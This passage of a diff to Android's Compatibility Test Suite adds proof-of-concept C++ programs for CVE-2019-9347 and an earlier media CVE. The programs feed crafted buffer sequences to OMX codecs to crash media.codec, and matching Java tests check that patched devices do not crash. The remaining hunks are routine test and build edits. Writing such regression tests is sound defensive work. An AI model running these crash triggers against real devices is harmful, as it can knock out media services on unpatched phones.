+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+                            int BufferSize) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+                bool s,
+                hidl_memory const& m) {
+            success = s;
+            buffer.mHidlMemory = m;
+        });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+int main() {
+    status_t err;
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+    omxExitOnError(ret);
+    int allCallbacksReceivedEmptyBufferDone = 0;
+    /* Get OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    params->nPortIndex = OMX_UTILS_IP_PORT;
+    params->format.video.nFrameWidth = FRAME_WIDTH;
+    params->format.video.nFrameHeight = FRAME_HEIGHT;
+    params->format.video.xFramerate = FRAME_RATE;
+    params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+    params->format.video.eColorFormat = OMX_COLOR_FormatAndroidOpaque;
+    params->nBufferSize = BUFFER_SIZE;
+    params->nBufferCountActual = params->nBufferCountMin = BUFFER_COUNT;
+    err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    err = omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    /* prepare input port buffers                                             */
+    int inMemSize = params->nBufferCountActual * params->nBufferSize;
+    int inBufferCnt = params->nBufferCountActual;
+    int inBufferSize = inMemSize / inBufferCnt;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+    /* Get OMX output port parameters                                         */
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    /* prepare output port buffers                                            */
+    int outMemSize = params->nBufferCountActual * params->nBufferSize;
+    int outBufferCnt = params->nBufferCountActual;
+    int outBufferSize = outMemSize / outBufferCnt;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    Vector < Buffer > inputBuffers;
+    Vector < Buffer > outputBuffers;
+    /* Register input buffers with OMX component                              */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+    for (int i = 0; i < inBufferCnt; i++) {
+        inBufferId[i] = inputBuffers[i].mID;
+        err = omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+                                &inBufferId[i]);
+    }
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+    for (int i = 0; i < outBufferCnt; i++) {
+        outBufferId[i] = outputBuffers[i].mID;
+        err = omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+                                &outBufferId[i]);
+    }
+    /* Do OMX State change to Idle                                            */
+    err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    err = omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    for (int i = 0; i < inBufferCnt; i++) {
+        OMXBuffer omxBuf(0, inBufferSize);
+        err = omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        OMXBuffer omxBuf(0, outBufferSize);
+        err = omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+    time_t endTime = currentTime + waitTimeInSeconds;
+    while (currentTime < endTime) {
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            allCallbacksReceivedEmptyBufferDone = 1;
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (!allCallbacksReceivedEmptyBufferDone) {
+        ALOGE("Exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index 0a19bec..0e9fbdd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -29,12 +29,14 @@
         "frameworks/native/include/media/openmax",
         "frameworks/av/media/libstagefright",
         "frameworks/native/include/media/hardware",
-        "frameworks/av/media/libstagefright/codecs/mp3dec/include",
-        "frameworks/av/media/libstagefright/codecs/mp3dec/src",
         "frameworks/av/media/libmedia/include",
         "frameworks/av/media/libstagefright/xmlparser/include",
     ],
 
+    header_libs: [
+        "libstagefright_mp3dec",
+    ],
+
     shared_libs: [
         "libstagefright",
         "libstagefright_omx",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
index a559537..1ac7b76 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
@@ -14,10 +14,11 @@
  * limitations under the License.
  */
 
+#include <s_tmp3dec_file.h> // from the mp3dec library
+
 #include "../includes/common.h"
 #include "../includes/memutils_track.h"
 #include "../includes/omxUtils.h"
-#include "codecs/mp3dec/src/s_tmp3dec_file.h"
 #include "media/omx/1.0/WOmx.h"
 #include "omx/include/media/stagefright/omx/1.0/Omx.h"
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
new file mode 100644
index 0000000..7a52d1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2019-9347",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_omxutils",
+    ],
+    shared_libs: [
+        "libstagefright",
+        "libbinder",
+        "libmedia_omx",
+        "libutils",
+        "liblog",
+        "libstagefright_foundation",
+        "libcutils",
+        "libhidlbase",
+        "android.hidl.allocator@1.0",
+        "android.hidl.memory@1.0",
+        "android.hardware.media.omx@1.0",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
+
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/poc.cpp
new file mode 100644
index 0000000..dff4d39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/poc.cpp
@@ -0,0 +1,119 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_MICROSECONDS 0x00010001
+#define OUT_BUFFER_COUNT 8
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](
+                                                        bool s,
+                                                        hidl_memory const& m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+int main() {
+    /* Initialize OMX for the specified codec                                 */
+    status_t ret = omxUtilsInit((char *) "OMX.google.h263.decoder");
+    omxExitOnError(ret);
+    int allCallbacksReceivedEmptyBufferDone = 0;
+    /* Get OMX input port parameters                                          */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    /* Prepare input port buffers                                             */
+    int inBufferCnt = params->nBufferCountActual;
+    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+    /* Get OMX output port parameters                                         */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    params->nBufferCountActual = OUT_BUFFER_COUNT;
+    omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+    /* Prepare output port buffers                                            */
+    int outBufferCnt = params->nBufferCountActual;
+    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+    Vector<Buffer> inputBuffers, outputBuffers;
+    /* Register input buffers with OMX component                              */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+    for (int i = 0; i < inBufferCnt; i++) {
+        inBufferId[i] = inputBuffers[i].mID;
+    }
+    /* Register output buffers with OMX component                             */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    for (int i = 0; i < outBufferCnt; i++) {
+        outBufferId[i] = outputBuffers[i].mID;
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Executing                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    OMX_U32 flags = OMX_BUFFERFLAG_EOS;
+    int64_t timeUs = TIMESTAMP_MICROSECONDS;
+    for (int i = 0; i < inBufferCnt; i++) {
+        omxUtilsEmptyBuffer(inBufferId[i], OMXBuffer::sPreset, flags, timeUs,
+                            -1);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        omxUtilsFillBuffer(outBufferId[i], OMXBuffer::sPreset, -1);
+    }
+    /* Do OMX State change to Idle                                            */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    time_t currentTime = time(NULL);
+    time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+    time_t endTime = currentTime + waitTimeInSeconds;
+    while (currentTime < endTime) {
+        if (numCallbackEmptyBufferDone == inBufferCnt) {
+            allCallbacksReceivedEmptyBufferDone = 1;
+            break;
+        }
+        currentTime = time(NULL);
+    }
+    if (!allCallbacksReceivedEmptyBufferDone) {
+        ALOGE("Exiting the app");
+        exit (EXIT_FAILURE);
+    }
+    /* Do OMX State change to Loaded                                          */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                          */
+    for (int i = 0; i < inBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+    }
+    for (int i = 0; i < outBufferCnt; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+    }
+    /* Free OMX resources                                                     */
+    omxUtilsFreeNode();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 5d66a8a..a43163a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -41,6 +41,30 @@
      ******************************************************************************/
 
     /**
+     * b/62948670
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2017-11")
+    @Test
+    public void testPocCVE_2017_0840() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/69065651
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_13241() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
      * b/111603051
      * Vulnerability Behaviour: SIGSEGV in self
      */
@@ -61,7 +85,6 @@
     }
 
     /**
-     * CTS test for Android Security b/79662501
      * b/36554207
      * Vulnerability Behaviour: SIGSEGV in self
      **/
@@ -127,4 +150,16 @@
      * To prevent merge conflicts, add tests for Q below this comment, before any
      * existing test methods
      ******************************************************************************/
+
+    /**
+     * b/109891727
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9347() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9347", null, getDevice(),
+                processPatternStrings);
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
index 6d05ddd..73aa36e 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
@@ -22,6 +22,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
         "sts",
     ],
     optimize: {
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java
index 4186ba1..fa0504d 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/PackageInstallerSessionInfoSubject.java
@@ -24,8 +24,7 @@
 
 import javax.annotation.Nullable;
 
-final class PackageInstallerSessionInfoSubject extends
-        Subject<PackageInstallerSessionInfoSubject, PackageInstaller.SessionInfo> {
+final class PackageInstallerSessionInfoSubject extends Subject {
     private final PackageInstaller.SessionInfo mActual;
 
     private PackageInstallerSessionInfoSubject(FailureMetadata failureMetadata,
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index b4043e5..dba49e9 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -25,9 +25,9 @@
 
 import static org.junit.Assume.assumeTrue;
 
+import android.cts.install.lib.host.InstallUtilsHost;
 import android.platform.test.annotations.LargeTest;
 
-import com.android.cts.install.lib.host.InstallUtilsHost;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.AaptParser;
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 9aff959..41e410d 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -27,9 +27,9 @@
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
+import android.cts.install.lib.host.InstallUtilsHost;
 import android.platform.test.annotations.LargeTest;
 
-import com.android.cts.install.lib.host.InstallUtilsHost;
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -217,6 +217,8 @@
     @Test
     public void testStagedInstallDowngrade_DowngradeRequested_UserBuild() throws Exception {
         assumeThat(getDevice().getBuildFlavor(), endsWith("-user"));
+        assumeFalse("Device is debuggable", isDebuggable());
+
         runPhase("testStagedInstallDowngrade_DowngradeRequested_Fails_Commit");
     }
 
@@ -317,6 +319,7 @@
     public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails()
             throws Exception {
         assumeThat(getDevice().getBuildFlavor(), endsWith("-user"));
+        assumeFalse("Device is debuggable", isDebuggable());
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
         installV3Apex();
@@ -714,4 +717,8 @@
             }
         }
     }
+
+    private boolean isDebuggable() throws Exception {
+        return getDevice().getIntProperty("ro.debuggable", 0) == 1;
+    }
 }
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
index 6e97754..451ad73 100644
--- a/hostsidetests/statsd/AndroidTest.xml
+++ b/hostsidetests/statsd/AndroidTest.xml
@@ -23,9 +23,6 @@
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsStatsdHostTestCases.jar" />
     </test>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="setprop persist.traced.enable 1" />
-    </target_preparer>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
         <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 144e28e..70bf0478 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -201,6 +201,10 @@
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_100, 100);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_101, 101);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RESERVED_102, 102);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
     }
 
     @Test
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 0fd7ea7..8ce54f3 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -128,7 +128,7 @@
     public static final int PHONE_TYPE_CDMA = 2;
     public static final int PHONE_TYPE_CDMA_LTE = 6;
 
-    protected static final int WAIT_TIME_SHORT = 500;
+    protected static final int WAIT_TIME_SHORT = 1000;
     protected static final int WAIT_TIME_LONG = 2_000;
 
     protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a63306a..1892f85 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -16,7 +16,6 @@
 package android.cts.statsd.atom;
 
 import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
-
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -25,7 +24,6 @@
 import android.os.WakeLockLevelEnum;
 import android.server.ErrorSource;
 import android.telephony.NetworkTypeEnum;
-
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
@@ -84,10 +82,8 @@
 import com.android.os.StatsLog.EventMetricData;
 import com.android.server.notification.SmallHash;
 import com.android.tradefed.log.LogUtil;
-
 import com.google.common.collect.Range;
 import com.google.protobuf.Descriptors;
-
 import java.io.File;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -419,6 +415,9 @@
 
     public void testDeviceCalculatedPowerBlameUid() throws Exception {
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
+        if (!hasBattery()) {
+            return;
+        }
 
         String kernelVersion = getDevice().executeShellCommand("uname -r");
         if (kernelVersion.contains("3.18")) {
@@ -1786,18 +1785,32 @@
 
     public void testSettingsStatsReported() throws Exception {
         // Base64 encoded proto com.android.service.nano.StringListParamProto,
-        // which contains two strings "font_scale" and "screen_auto_brightness_adj".
-        final String encoded = "ChpzY3JlZW5fYXV0b19icmlnaHRuZXNzX2FkagoKZm9udF9zY2FsZQ";
-        final String font_scale = "font_scale";
-        SettingSnapshot snapshot = null;
+        // which contains five strings 'low_power_trigger_level', 'preferred_network_mode1',
+        // 'preferred_network_mode1_int', 'wfc_ims_mode','zen_mode'
+        final String encoded =
+            "Chdsb3dfcG93ZXJfdHJpZ2dlcl9sZXZlbAoQd2ZjX2ltc19tb2RlID0gMgoXcHJlZmVycmVkX25ldHdvcmtfbW9kZTEKG3ByZWZlcnJlZF9uZXR3b3JrX21vZGUxX2ludAoIemVuX21vZGU";
+        final String network_mode1 = "preferred_network_mode1";
 
+        int originalNetworkMode;
+        try {
+            originalNetworkMode = Integer.parseInt(
+                getDevice().executeShellCommand("settings get global " + network_mode1));
+        } catch (NumberFormatException e) {
+            // The default value, zen mode is not enabled
+            originalNetworkMode = 0;
+        }
+
+        // Clear settings_stats device config.
+        Thread.sleep(WAIT_TIME_SHORT);
+        getDevice().executeShellCommand(
+            "device_config reset untrusted_clear settings_stats");
         // Set whitelist through device config.
         Thread.sleep(WAIT_TIME_SHORT);
         getDevice().executeShellCommand(
-                "device_config put settings_stats SystemFeature__float_whitelist " + encoded);
+            "device_config put settings_stats GlobalFeature__integer_whitelist " + encoded);
         Thread.sleep(WAIT_TIME_SHORT);
-        // Set font_scale value
-        getDevice().executeShellCommand("settings put system font_scale 1.5");
+        // Set network_mode1 value
+        getDevice().executeShellCommand("settings put global " + network_mode1 + " 15");
 
         // Get SettingSnapshot as a simple gauge metric.
         StatsdConfig.Builder config = createConfigBuilder();
@@ -1814,13 +1827,13 @@
             Thread.sleep(WAIT_TIME_LONG);
         }
 
-        // Test the size of atoms. It should contain at least "font_scale" and
-        // "screen_auto_brightness_adj" two setting values.
+        // Test the size of atoms. It should contain 5 atoms
         List<Atom> atoms = getGaugeMetricDataList();
-        assertThat(atoms.size()).isAtLeast(2);
+        assertThat(atoms.size()).isEqualTo(5);
+        SettingSnapshot snapshot = null;
         for (Atom atom : atoms) {
             SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
-            if (font_scale.equals(settingSnapshot.getName())) {
+            if (network_mode1.equals(settingSnapshot.getName())) {
                 snapshot = settingSnapshot;
                 break;
             }
@@ -1829,16 +1842,20 @@
         Thread.sleep(WAIT_TIME_SHORT);
         // Test the data of atom.
         assertNotNull(snapshot);
-        // Get font_scale value and test value type.
-        final float fontScale = Float.parseFloat(
-                getDevice().executeShellCommand("settings get system font_scale"));
+        // Get setting value and test value type.
+        final int newNetworkMode = Integer.parseInt(
+            getDevice().executeShellCommand("settings get global " + network_mode1).trim());
         assertThat(snapshot.getType()).isEqualTo(
-                SettingSnapshot.SettingsValueType.ASSIGNED_FLOAT_TYPE);
+            SettingSnapshot.SettingsValueType.ASSIGNED_INT_TYPE);
         assertThat(snapshot.getBoolValue()).isEqualTo(false);
-        assertThat(snapshot.getIntValue()).isEqualTo(0);
-        assertThat(snapshot.getFloatValue()).isEqualTo(fontScale);
+        assertThat(snapshot.getIntValue()).isEqualTo(newNetworkMode);
+        assertThat(snapshot.getFloatValue()).isEqualTo(0f);
         assertThat(snapshot.getStrValue()).isEqualTo("");
         assertThat(snapshot.getUserId()).isEqualTo(0);
+
+        // Restore the setting value.
+        getDevice().executeShellCommand(
+            "settings put global " + network_mode1 + " " + originalNetworkMode);
     }
 
     public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
@@ -1933,7 +1950,7 @@
         doTestMobileBytesTransferThat(atomId, (atom) -> {
             final AtomsProto.BytesTransferByTagAndMetered data =
                     ((Atom) atom).getBytesTransferByTagAndMetered();
-            if (data.getUid() == appUid) {
+            if (data.getUid() == appUid && data.getTag() == 0 /*app traffic generated on tag 0*/) {
                 assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
                         data.getRxPackets(), data.getTxPackets());
                 return true; // found
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
index 9eccad6..a63e01e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
@@ -303,117 +303,6 @@
         assertThat(totalCount).isEqualTo(2);
     }
 
-    public void testSlicedStateCountMetric() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        int whatMatcherId = 3;
-        int stateId = 4;
-
-        // Atom 9999 {
-        //     repeated AttributionNode attribution_node = 1;
-        //     optional bool is_filtered = 2;
-        //     optional bool is_first_match = 3;
-        //     optional bool is_opportunistic = 4;
-        // }
-        int whatAtomId = 9_999;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.getAtomMatcher(whatAtomId)
-                        .setId(whatMatcherId)
-                        .build();
-
-        StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
-            .setId(stateId)
-            .setAtomId(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER)
-            .build();
-
-        StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
-            .setStateAtomId(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER)
-            .setFieldsInWhat(FieldMatcher.newBuilder()
-                    .setField(whatAtomId)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(1)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(2)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(3)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(4)
-                    )
-            )
-            .setFieldsInState(FieldMatcher.newBuilder()
-                    .setField(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER)
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
-                            .setPosition(Position.FIRST)
-                            .addChild(FieldMatcher.newBuilder()
-                                    .setField(AttributionNode.UID_FIELD_NUMBER)
-                            )
-                    )
-                    .addChild(FieldMatcher.newBuilder()
